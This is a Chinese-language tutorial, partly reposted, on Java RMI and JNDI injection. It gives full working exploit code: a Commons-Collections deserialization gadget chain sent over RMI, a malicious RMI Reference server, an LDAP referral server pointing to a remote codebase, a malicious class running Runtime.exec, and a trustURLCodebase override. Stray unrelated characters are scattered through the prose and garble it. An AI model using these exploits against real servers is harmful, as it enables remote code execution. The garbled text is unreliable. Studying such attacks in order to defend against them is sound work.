由于最近的log4j
和fastjson
頻頻曝出JNDI
漏洞危機(jī)甘凭,覺(jué)得有必要學(xué)習(xí)jndi
和rmi
1 RMI
1.1 rmi概念
RMI
是用Java
在JDK1.2
中實(shí)現(xiàn)的议忽,它大大增強(qiáng)了Java
開(kāi)發(fā)分布式應(yīng)用的能力恃鞋,Java
本身對(duì)RMI
規(guī)范的實(shí)現(xiàn)默認(rèn)使用的是JRMP
協(xié)議洞慎。而在Weblogic
中對(duì)RMI
規(guī)范的實(shí)現(xiàn)使用T3
協(xié)議
JRMP
:Java Remote Message Protocol
爪幻,Java
遠(yuǎn)程消息交換協(xié)議弧圆。這是運(yùn)行在Java RMI
之下、TCP/IP
之上的線路層協(xié)議笔咽。該協(xié)議要求服務(wù)端與客戶端都為Java
編寫(xiě)搔预,就像HTTP
協(xié)議一樣,規(guī)定了客戶端和服務(wù)端通信要滿足的規(guī)范
RMI
(Remote Method Invocation
)為遠(yuǎn)程方法調(diào)用叶组,是允許運(yùn)行在一個(gè)Java
虛擬機(jī)的對(duì)象調(diào)用運(yùn)行在另一個(gè)Java
虛擬機(jī)上的對(duì)象的方法拯田。 這兩個(gè)虛擬機(jī)可以是運(yùn)行在相同計(jì)算機(jī)上的不同進(jìn)程中,也可以是運(yùn)行在網(wǎng)絡(luò)上的不同計(jì)算機(jī)中甩十,RMI
體系結(jié)構(gòu)是基于一個(gè)非常重要的行為定義
和行為實(shí)現(xiàn)
相分離的原則船庇。RMI
允許定義行為的代碼和實(shí)現(xiàn)行為的代碼相分離,并且運(yùn)行在不同的JVM
上侣监。
不同于socket
,RMI
中分為三大部分:Server
鸭轮、Client
、Registry
-
Server
: 提供遠(yuǎn)程的對(duì)象 -
Client
: 調(diào)用遠(yuǎn)程的對(duì)象 -
Registry
: 一個(gè)注冊(cè)表橄霉,存放著遠(yuǎn)程對(duì)象的位置(ip窃爷、端口、標(biāo)識(shí)符)
RMI
體系結(jié)構(gòu)分以下幾層:
- 存根和骨架層(
Stub and Skeleton layer
):這一層對(duì)程序員是透明的姓蜂,它主要負(fù)責(zé)攔截客戶端發(fā)出的方法調(diào)用請(qǐng)求按厘,然后把請(qǐng)求重定向給遠(yuǎn)程的RMI
服務(wù)。 - 遠(yuǎn)程引用層(
Remote Reference Layer
):RMI
體系結(jié)構(gòu)的第二層用來(lái)解析客戶端對(duì)服務(wù)端遠(yuǎn)程對(duì)象的引用钱慢。這一層解析并管理客戶端對(duì)服務(wù)端遠(yuǎn)程對(duì)象的引用逮京。連接是點(diǎn)到點(diǎn)的。 - 傳輸層(
Transport layer
):這一層負(fù)責(zé)連接參與服務(wù)的兩個(gè)JVM
束莫。這一層是建立在網(wǎng)絡(luò)上機(jī)器間的TCP/IP
連接之上的懒棉。它提供了基本的連接服務(wù),還有一些防火墻穿透策略
1.2 RMI基礎(chǔ)運(yùn)用
RMI
可以調(diào)用遠(yuǎn)程的一個(gè)Java
的對(duì)象進(jìn)行本地執(zhí)行览绿,但是遠(yuǎn)程被調(diào)用的該類(lèi)必須繼承java.rmi.Remote
接口
1.2.1 定義一個(gè)遠(yuǎn)程的接口
public interface Rmidemo extends Remote {
public String hello() throws RemoteException;
}
在定義遠(yuǎn)程接口的時(shí)候需要繼承java.rmi.Remote
接口策严,并且修飾符需要為public
否則遠(yuǎn)程調(diào)用的時(shí)候會(huì)報(bào)錯(cuò)。并且定義的方法里面需要拋出一個(gè)RemoteException
的異常
1.2.2 編寫(xiě)一個(gè)遠(yuǎn)程接口的實(shí)現(xiàn)類(lèi)
在編寫(xiě)該實(shí)現(xiàn)類(lèi)中需要將該類(lèi)繼承UnicastRemoteObject
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
protected RemoteHelloWorld() throws RemoteException {
System.out.println("構(gòu)造方法");
}
public String hello() throws RemoteException {
System.out.println("hello方法被調(diào)用");
return "hello,world";
}
}
1.2.3 創(chuàng)建服務(wù)器實(shí)例
創(chuàng)建服務(wù)器實(shí)例挟裂,并且創(chuàng)建一個(gè)注冊(cè)表享钞,將需要提供給客戶端的對(duì)象注冊(cè)到注冊(cè)到注冊(cè)表中
public class servet {
public static void main(String[] args) throws RemoteException {
Rmidemo hello = new RemoteHelloWorld();//創(chuàng)建遠(yuǎn)程對(duì)象
Registry registry = LocateRegistry.createRegistry(1099);//創(chuàng)建注冊(cè)表
registry.rebind("hello",hello);//將遠(yuǎn)程對(duì)象注冊(cè)到注冊(cè)表里面揍诽,并且設(shè)置值為hello
}
}
到了這一步诀蓉,簡(jiǎn)單的RMI服務(wù)端的代碼就寫(xiě)好了
1.2.4 編寫(xiě)客戶端并且調(diào)用遠(yuǎn)程對(duì)象
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//獲取遠(yuǎn)程主機(jī)對(duì)象
// 利用注冊(cè)表的代理去查詢(xún)遠(yuǎn)程注冊(cè)表中名為hello的對(duì)象
Rmidemo hello = (Rmidemo) registry.lookup("hello");
// 調(diào)用遠(yuǎn)程方法
System.out.println(hello.hello());
}
}
在這一步需要注意的是栗竖,如果遠(yuǎn)程的這個(gè)方法有參數(shù)的話,調(diào)用該方法傳入的參數(shù)必須是可序列化的渠啤。在傳輸中是傳輸序列化后的數(shù)據(jù)狐肢,服務(wù)端會(huì)對(duì)客戶端的輸入進(jìn)行反序列化
1.3 RMI反序列化攻擊
需要使用到RMI
進(jìn)行反序列化攻擊需要兩個(gè)條件:接收Object
類(lèi)型的參數(shù)、RMI
的服務(wù)端存在執(zhí)行命令利用鏈
這里對(duì)上面得代碼做一個(gè)簡(jiǎn)單的改寫(xiě)
1.3.1 定義遠(yuǎn)程接口
需要定義一個(gè)object
類(lèi)型的參數(shù)方法
public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}
1.3.2 遠(yuǎn)程接口實(shí)現(xiàn)
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
public String hello(String hello) throws RemoteException {
return "hello";
}
public void work(Object obj) throws RemoteException {
System.out.println("work被調(diào)用了");
}
public void say() throws RemoteException {
System.out.println("say");
}
}
1.3.3 服務(wù)器
public class server {
public static void main(String[] args)
throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
1.3.4 客戶端
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
執(zhí)行客戶端后就會(huì)執(zhí)行我們?cè)O(shè)置好要執(zhí)行的命令沥曹,也就是彈出計(jì)算器份名。之所以會(huì)被執(zhí)行的原因前面也說(shuō)過(guò)RMI
在傳輸數(shù)據(jù)的時(shí)候,會(huì)被序列化妓美,傳輸?shù)臅r(shí)序列化后的數(shù)據(jù)僵腺,在傳輸完成后再進(jìn)行反序列化。那么這時(shí)候如果傳輸一個(gè)惡意的序列化數(shù)據(jù)就會(huì)進(jìn)行反序列化的命令執(zhí)行
轉(zhuǎn)載于:https://www.cnblogs.com/nice0e3/p/13927460.html
1.3.4.1 Transformer類(lèi)說(shuō)明
1.3.4.1.1 Transformer
commons-collections
下面的類(lèi)Transformer
是個(gè)接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
可以看到Transformer
接口只有一個(gè)transform
方法壶栋,之后所有繼承該接口的類(lèi)都需要實(shí)現(xiàn)這個(gè)方法辰如。
官方文檔的意思:
大致意思就是會(huì)將傳入的object
進(jìn)行轉(zhuǎn)換,然后返回轉(zhuǎn)換后的object
贵试。還是有點(diǎn)抽象琉兜,不過(guò)沒(méi)關(guān)系,先放著接下來(lái)再根據(jù)繼承該接口的類(lèi)進(jìn)行具體分析毙玻。
Transformer
有幾個(gè)實(shí)現(xiàn)類(lèi):
ConstantTransformer
InvokerTransformer
ChainedTransformer
1.3.4.1.2 ConstantTransformer
ConstantTransformer
類(lèi)當(dāng)中的transform
方法就是將初始化時(shí)傳入的對(duì)象返回
部分源碼:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
1.3.4.1.3 InvokerTransformer
InvokerTransformer
部分源碼:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
InvokerTransformer
類(lèi)的構(gòu)造函數(shù)傳入三個(gè)參數(shù)——方法名
豌蟋,參數(shù)類(lèi)型數(shù)組
,參數(shù)數(shù)組
桑滩。在transform
方法中通過(guò)反射機(jī)制調(diào)用傳入某個(gè)類(lèi)的方法梧疲,而調(diào)用的方法及其所需要的參數(shù)都在構(gòu)造函數(shù)中進(jìn)行了賦值,最終返回該方法的執(zhí)行結(jié)果
1.3.4.1.4 ChainedTransformer
ChainedTransformer
部分源碼:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer
類(lèi)利用之前構(gòu)造方法傳入的transformers
數(shù)組通過(guò)循環(huán)的方式調(diào)用每個(gè)元素的trandsform
方法运准,將得到的結(jié)果傳入下一次循環(huán)的transform
方法中往声。
那么這樣我們可以利用ChainedTransformer
將ConstantTransformer
和InvokerTransformer
的transform
方法串起來(lái)。通過(guò)ConstantTransformer
返回某個(gè)類(lèi)戳吝,交給InvokerTransformer
去調(diào)用類(lèi)中的某個(gè)方法浩销。
1.3.4.1.5 TrandsformedMap
TrandsformedMap
部分源碼:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
TransformedMap
的decorate
方法根據(jù)傳入的參數(shù)重新實(shí)例化一個(gè)TransformedMap
對(duì)象,再看put
方法的源碼听哭,不管是key還是value都會(huì)間接調(diào)用transform
方法慢洋,而這里的this.valueTransformer
也就是transformerChain
,從而啟動(dòng)整個(gè)鏈子
1.3.4.2 代碼中說(shuō)明
1.3.4.2.1 Transformer類(lèi)說(shuō)明
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
上面的代碼翻譯一下正常的反射代碼一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
1.3.4.2.2 TransformedMap類(lèi)說(shuō)明
其中TransformedMap
根據(jù)上門(mén)的部分源碼可知會(huì)自動(dòng)調(diào)用Transformer
內(nèi)部方法
TransformedMap 可以用來(lái)對(duì) Map 進(jìn)行某種變換陆盘,底層原理實(shí)際上是使用傳入的 Transformer 進(jìn)行轉(zhuǎn)換普筹。
Transformer transformer = new ConstantTransformer("程序通事");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對(duì) value 進(jìn)行轉(zhuǎn)換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會(huì)觸發(fā)調(diào)用 Transformer 內(nèi)部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也會(huì)觸發(fā) Transformer 內(nèi)部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
只要調(diào)用 TransformedMap
的 put
方法,或者調(diào)用 Map.Entry
的 setValue
方法就可以觸發(fā)我們?cè)O(shè)置的 ChainedTransformer
隘马,從而觸發(fā) Runtime
執(zhí)行外部命令太防,因此輸出結(jié)果為:
{b=程序通事, a=程序通事}
1.3.4.2.3 AnnotationInvocationHandler類(lèi)說(shuō)明
上文中我們知道了,只要調(diào)用 TransformedMap
的 put
方法酸员,或者調(diào)用 Map.Entry
的 setValue
方法就可以觸發(fā)我們?cè)O(shè)置的 ChainedTransformer
蜒车,從而觸發(fā) Runtime
執(zhí)行外部命令讳嘱。
現(xiàn)在我們就需要找到一個(gè)可序列化的類(lèi),這個(gè)類(lèi)正好實(shí)現(xiàn)了 readObject酿愧,且正好可以調(diào)用 Map put 的方法或者調(diào)用 Map.Entry的 setValue沥潭。
Java 中有一個(gè)類(lèi) sun.reflect.annotation.AnnotationInvocationHandler
,正好滿足上述的條件嬉挡。這個(gè)類(lèi)構(gòu)造函數(shù)可以設(shè)置一個(gè) Map 變量钝鸽,這下剛好可以把上面的 TransformedMap 設(shè)置進(jìn)去。
但是庞钢,這個(gè)類(lèi)沒(méi)有 public 修飾符拔恰,默認(rèn)只有同一個(gè)包才可以使用
不過(guò)這點(diǎn)難度,跟上面一比基括,還真是輕松仁连,我們可以通過(guò)反射獲取從而獲取這個(gè)類(lèi)的實(shí)例。
示例代碼如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個(gè)注解
Object instance = ctor.newInstance(Target.class, exMap);
2 JNDI
2.1 概念
JNDI
(Java Naming and Directory Interface
,Java
命名和目錄接口)是SUN
公司提供的一種標(biāo)準(zhǔn)的Java
命名系統(tǒng)接口阱穗,JNDI
提供統(tǒng)一的客戶端API
饭冬,通過(guò)不同的訪問(wèn)提供者接口JNDI
服務(wù)供應(yīng)接口(SPI
)的實(shí)現(xiàn),由管理者將JNDI API
映射為特定的命名服務(wù)
和目錄系統(tǒng)
揪阶,使得Java
應(yīng)用程序可以和這些命名服務(wù)和目錄服務(wù)之間進(jìn)行交互昌抠。目錄服務(wù)
是命名服務(wù)
的一種自然擴(kuò)展
命名服務(wù)將名稱(chēng)和對(duì)象聯(lián)系起來(lái),使得讀者可以用名稱(chēng)訪問(wèn)對(duì)象鲁僚。目錄服務(wù)
是一種命名服務(wù)炊苫,在這種服務(wù)里,對(duì)象不但有名稱(chēng)冰沙,還有屬性侨艾。
JNDI
是一個(gè)應(yīng)用程序設(shè)計(jì)的API
,為開(kāi)發(fā)人員提供了查找和訪問(wèn)各種命名和目錄服務(wù)的通用拓挥、統(tǒng)一的接口唠梨,類(lèi)似JDBC
都是構(gòu)建在抽象層上。現(xiàn)在JNDI
已經(jīng)成為J2EE
的標(biāo)準(zhǔn)之一侥啤,所有的J2EE
容器都必須提供一個(gè)JNDI
的服務(wù)当叭。
JNDI
可訪問(wèn)的現(xiàn)有的目錄及服務(wù)有:
DNS
、XNam
盖灸、Novell
目錄服務(wù)蚁鳖、LDAP
(Lightweight Directory Access Protocol
輕型目錄訪問(wèn)協(xié)議)、 CORBA
對(duì)象服務(wù)赁炎、文件系統(tǒng)醉箕、Windows XP/2000/NT/Me/9x
的注冊(cè)表、RMI、DSML v1&v2讥裤、NIS
以上是一段百度wiki的描述放棒。簡(jiǎn)單點(diǎn)來(lái)說(shuō)就相當(dāng)于一個(gè)索引庫(kù),一個(gè)命名服務(wù)
將對(duì)象
和名稱(chēng)
聯(lián)系在了一起坞琴,并且可以通過(guò)它們指定的名稱(chēng)找到相應(yīng)的對(duì)象
2.2 JNDI結(jié)構(gòu)
在Java JDK
里面提供了5個(gè)包哨查,提供給JNDI
的功能實(shí)現(xiàn)逗抑,分別是
-
javax.naming
:主要用于命名
操作剧辐,它包含了命名服務(wù)的類(lèi)和接口,該包定義了Context
接口和InitialContext
類(lèi)邮府; -
javax.naming.directory
:主要用于目錄
操作荧关,它定義了DirContext
接口和InitialDir-Context
類(lèi); -
javax.naming.event
:在命名目錄服務(wù)器中請(qǐng)求事件通知褂傀; -
javax.naming.ldap
:提供LDAP
支持忍啤; -
javax.naming.spi
:允許動(dòng)態(tài)插入不同實(shí)現(xiàn),為不同命名目錄服務(wù)供應(yīng)商的開(kāi)發(fā)人員提供開(kāi)發(fā)和實(shí)現(xiàn)的途徑仙辟,以便應(yīng)用程序通過(guò)JNDI
可以訪問(wèn)相關(guān)服務(wù)同波。
2.2.1 InitialContext類(lèi)
構(gòu)造方法:
InitialContext()
:構(gòu)建一個(gè)初始上下文。
InitialContext(boolean lazy)
:構(gòu)造一個(gè)初始上下文叠国,并選擇不初始化它未檩。
InitialContext(Hashtable<?,?> environment)
:使用提供的環(huán)境構(gòu)建初始上下文
常用方法:
bind(Name name, Object obj)
將名稱(chēng)綁定到對(duì)象list(String name)
枚舉在命名上下文中綁定的名稱(chēng)以及綁定到它們的對(duì)象的類(lèi)名lookup(String name)
檢索命名對(duì)象rebind(String name, Object obj)
將名稱(chēng)綁定到對(duì)象,覆蓋任何現(xiàn)有綁定unbind(String name)
取消綁定命名對(duì)象
示例如下:
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
2.2.2 Reference類(lèi)
該類(lèi)也是在javax.naming
的一個(gè)類(lèi)粟焊,該類(lèi)表示對(duì)在命名/目錄
系統(tǒng)外部
找到的對(duì)象的引用冤狡。提供了JNDI
中類(lèi)的引用功能
構(gòu)造方法:
Reference(String className)
為類(lèi)名為className
的對(duì)象構(gòu)造一個(gè)新的引用。
Reference(String className, RefAddr addr)
為類(lèi)名為className
的對(duì)象和地址構(gòu)造一個(gè)新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類(lèi)名為className
的對(duì)象项棠,對(duì)象工廠的類(lèi)名和位置以及對(duì)象的地址構(gòu)造一個(gè)新引用
Reference(String className, String factory, String factoryLocation)
為類(lèi)名為className
的對(duì)象以及對(duì)象工廠的類(lèi)名和位置構(gòu)造一個(gè)新引用悲雳。
示例:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
參數(shù)1:className
- 遠(yuǎn)程加載時(shí)所使用的類(lèi)名
參數(shù)2:classFactory
- 加載的class
中需要實(shí)例化類(lèi)的名稱(chēng)
參數(shù)3:classFactoryLocation
- 提供classes
數(shù)據(jù)的地址可以是file/ftp/http協(xié)議
常用方法:
void add(int posn, RefAddr addr)
將地址添加到索引posn
的地址列表中。
void add(RefAddr addr)
將地址添加到地址列表的末尾香追。
void clear()
從此引用中刪除所有地址合瓢。
RefAddr get(int posn)
檢索索引posn上的地址。
RefAddr get(String addrType)
檢索地址類(lèi)型為addrType
的第一個(gè)地址透典。
Enumeration<RefAddr> getAll()
檢索本參考文獻(xiàn)中地址的列舉歪玲。
String getClassName()
檢索引用引用的對(duì)象的類(lèi)名。
String getFactoryClassLocation()
檢索此引用引用的對(duì)象的工廠位置掷匠。
String getFactoryClassName()
檢索此引用引用對(duì)象的工廠的類(lèi)名滥崩。
Object remove(int posn)
從地址列表中刪除索引posn上的地址。
int size()
檢索此引用中的地址數(shù)讹语。
String toString()
生成此引用的字符串表示形式
代碼示例:
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
這里可以看到調(diào)用完Reference
后又調(diào)用了 ReferenceWrapper
將前面的Reference
對(duì)象給傳進(jìn)去钙皮,其原因是查看Reference
就可以知道原因,查看到Reference
,并沒(méi)有繼承Remote
接口也沒(méi)有繼承 UnicastRemoteObject
類(lèi),前面講RMI
的時(shí)候說(shuō)過(guò)短条,需要將類(lèi)注冊(cè)到Registry
需要實(shí)現(xiàn)Remote
和繼承UnicastRemoteObject
類(lèi)导匣。這里并沒(méi)有看到相關(guān)的代碼,所以這里還需要調(diào)用 ReferenceWrapper
將他給封裝一下
2.3 JNDI注入攻擊
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目錄環(huán)境的一個(gè)引用
initialContext.lookup(uri);//獲取指定的遠(yuǎn)程對(duì)象
}
}
在上面的InitialContext.lookup(uri)
的這里茸时,如果說(shuō)URI
可控贡定,那么客戶端就可能會(huì)被攻擊。JNDI
可以使用RMI可都、LDAP
來(lái)訪問(wèn)目標(biāo)服務(wù)缓待。在實(shí)際運(yùn)用中也會(huì)使用到JNDI
注入配合RMI
等方式實(shí)現(xiàn)攻擊
2.4 JNDI注入+RMI實(shí)現(xiàn)攻擊
2.4.1 RMIServer代碼
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
2.4.2 RMIClient代碼
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
//新版jdk8u以上 不加這句話報(bào)錯(cuò) The object factory is untrusted.
//Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
下面還需要一段執(zhí)行命令的代碼,掛載在web頁(yè)面上讓server端去請(qǐng)求
public class test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
使用javac
命令渠牲,將該類(lèi)編譯成class
文件掛載在web頁(yè)面上旋炒。
原理其實(shí)就是把惡意的Reference
類(lèi),綁定在RMI
的Registry
里面签杈,在客戶端調(diào)用lookup
遠(yuǎn)程獲取遠(yuǎn)程類(lèi)的時(shí)候瘫镇,就會(huì)獲取到Reference
對(duì)象,獲取到Reference
對(duì)象后答姥,會(huì)去尋找Reference
中指定的類(lèi)铣除,如果查找不到則會(huì)在Reference
中指定的遠(yuǎn)程地址去進(jìn)行請(qǐng)求,請(qǐng)求到遠(yuǎn)程的類(lèi)后會(huì)在本地進(jìn)行執(zhí)行
2.5 JNDI注入+LDAP實(shí)現(xiàn)攻擊
LDAP
概念:LDAP
輕型目錄訪問(wèn)協(xié)議(英文:Lightweight Directory Access Protocol
鹦付,縮寫(xiě):LDAP尚粘,/??ld?p/)是一個(gè)開(kāi)放的,中立的睁壁,工業(yè)標(biāo)準(zhǔn)的應(yīng)用協(xié)議背苦,通過(guò)IP協(xié)議提供訪問(wèn)控制和維護(hù)分布式信息的目錄信息
有了前面的案例后,再來(lái)看這個(gè)其實(shí)也比較簡(jiǎn)單潘明,之所以JNDI
注入會(huì)配合LDAP
是因?yàn)?code>LDAP服務(wù)的Reference
遠(yuǎn)程加載Factory
類(lèi)不受com.sun.jndi.rmi.object.trustURLCodebase行剂、com.sun.jndi.cosnaming.object.trustURLCodebase
等屬性的限制。
示例如下:
2.5.1 server端
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
2.5.2 編寫(xiě)一個(gè)client客戶端
public class clientdemo {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
編寫(xiě)一個(gè)遠(yuǎn)程惡意類(lèi)钳降,并將其編譯成class文件厚宰,放置web頁(yè)面中。
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}